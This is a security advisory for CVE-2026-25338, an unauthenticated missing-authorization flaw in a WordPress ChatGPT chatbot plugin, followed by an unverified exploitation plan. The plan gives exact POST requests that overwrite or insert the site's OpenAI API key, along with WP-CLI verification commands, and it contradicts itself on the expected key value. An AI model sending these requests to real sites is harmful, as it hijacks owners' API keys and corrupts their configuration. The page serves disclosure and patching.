CVE-2026-25338

AI ChatBot with ChatGPT and Content Generator by AYS <= 2.7.4 - Missing Authorization

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
2.7.5
Patched in
86d
Time to patch

Description

The AI ChatBot with ChatGPT and Content Generator by AYS plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 2.7.4. This makes it possible for unauthenticated attackers to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.7.4
PublishedFebruary 8, 2026
Last updatedMay 4, 2026
Affected pluginays-chatgpt-assistant

What Changed in the Fix

Changes introduced in v2.7.5

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-25338 ## 1. Vulnerability Summary The **AI ChatBot with ChatGPT and Content Generator by AYS** plugin (version <= 2.7.4) is vulnerable to **Missing Authorization**. The vulnerability exists in the `Chatgpt_Assistant_DB_Actions::store_data` function (found in …

Show full research plan

Exploitation Research Plan - CVE-2026-25338

1. Vulnerability Summary

The AI ChatBot with ChatGPT and Content Generator by AYS plugin (version <= 2.7.4) is vulnerable to Missing Authorization. The vulnerability exists in the Chatgpt_Assistant_DB_Actions::store_data function (found in includes/chatgpt-assistant-db-actions/class-chatgpt-assistant-db-actions.php). This function is responsible for saving plugin settings, including the OpenAI API key, to the database. Due to a lack of capability checks (current_user_can) and missing nonce verification in this specific class, an unauthenticated attacker can trigger this function to overwrite sensitive plugin configuration.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php (The admin_init hook, which typically triggers the save logic in this plugin, runs for all requests to this endpoint, regardless of authentication).
  • HTTP Method: POST
  • Payload Parameters:
    • ays_chatgpt_assistant_id: The ID of the settings record in the database (typically 1).
    • ays_chatgpt_assistant_api_key: The new API key to inject.
    • rMethod: Set to GET to bypass the wp_redirect logic and return a simple string response.
  • Authentication: None required (unauthenticated).
  • Preconditions: The plugin must be active, and a record must exist in the wp_ayschatgpt_data table (created upon plugin activation).

3. Code Flow

  1. Entry Point: An HTTP request is made to /wp-admin/admin-ajax.php.
  2. Hook Trigger: WordPress fires the admin_init hook.
  3. Plugin Initialization: The plugin (likely via ChatGPT_Assistant_Main_DB_Actions or a handler in Chatgpt_Assistant_Admin) intercepts the request because $_REQUEST is not empty.
  4. Vulnerable Sink: The code calls Chatgpt_Assistant_DB_Actions::store_data().
  5. Lack of Protection:
    • store_data() (lines 31-89 of class-chatgpt-assistant-db-actions.php) checks if $_REQUEST is not empty but performs no current_user_can() check.
    • Unlike the ChatGPT_Assistant_Embedding_DB_Actions class, this class does not verify a nonce (lines 36-38 are absent of any wp_verify_nonce calls).
  6. Database Update: The function executes $wpdb->update on the table defined by $this->db_table (which is wp_ayschatgpt_data), updating the api_key with the user-provided value.

4. Nonce Acquisition Strategy

No nonce is required for the primary exploitation of Chatgpt_Assistant_DB_Actions::store_data().

The source code for class-chatgpt-assistant-db-actions.php shows that store_data() proceeds directly to processing $_REQUEST parameters without any nonce validation. This differs from class-chatgpt-assistant-embedding-db-actions.php, which explicitly checks for the embedding_action nonce.

5. Exploitation Strategy

The goal is to overwrite the plugin's OpenAI API key.

HTTP Request (via http_request tool)

  • URL: {{base_url}}/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    ays_chatgpt_assistant_id=1&ays_chatgpt_assistant_api_key=CVE-2026-25338-PWNED&rMethod=GET
    

Expected Response

  • Status: 200 OK
  • Body: updated (This string is returned by line 82 of class-chatgpt-assistant-db-actions.php when rMethod is GET).

6. Test Data Setup

  1. Ensure the plugin is activated.
  2. The plugin should automatically create a record in wp_ayschatgpt_data on activation. Verify its existence:
    wp db query "SELECT id, api_key FROM wp_ayschatgpt_data;"
    
  3. If no record exists, create one manually to simulate a configured environment:
    wp db query "INSERT INTO wp_ayschatgpt_data (id, api_key, options) VALUES (1, 'original-key', '[]')"
    

7. Expected Results

  • The HTTP request should return the string updated.
  • The api_key column in the wp_ayschatgpt_data table for id=1 should be changed to CVE-2026-25338-TEST.
  • Note: The options column will be overwritten with an empty JSON array [], potentially breaking other plugin settings (side effect of the vulnerable function).

8. Verification Steps

After performing the HTTP request, use WP-CLI to verify the database state:

# Check if the API key was updated
wp db query "SELECT api_key FROM wp_ayschatgpt_data WHERE id = 1;" --skip-column-names

The output should be CVE-2026-25338-PWNED.

9. Alternative Approaches

If id=1 does not exist or has been changed, the attacker can attempt to insert a new record by setting ays_chatgpt_assistant_id=0:

Alternative HTTP Request (Insert)

  • URL: {{base_url}}/wp-admin/admin-ajax.php
  • Method: POST
  • Body:
    ays_chatgpt_assistant_id=0&ays_chatgpt_assistant_api_key=CVE-2026-25338-INSERTED&rMethod=GET
    
  • Verification:
    wp db query "SELECT api_key FROM wp_ayschatgpt_data ORDER BY id DESC LIMIT 1;"
    

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.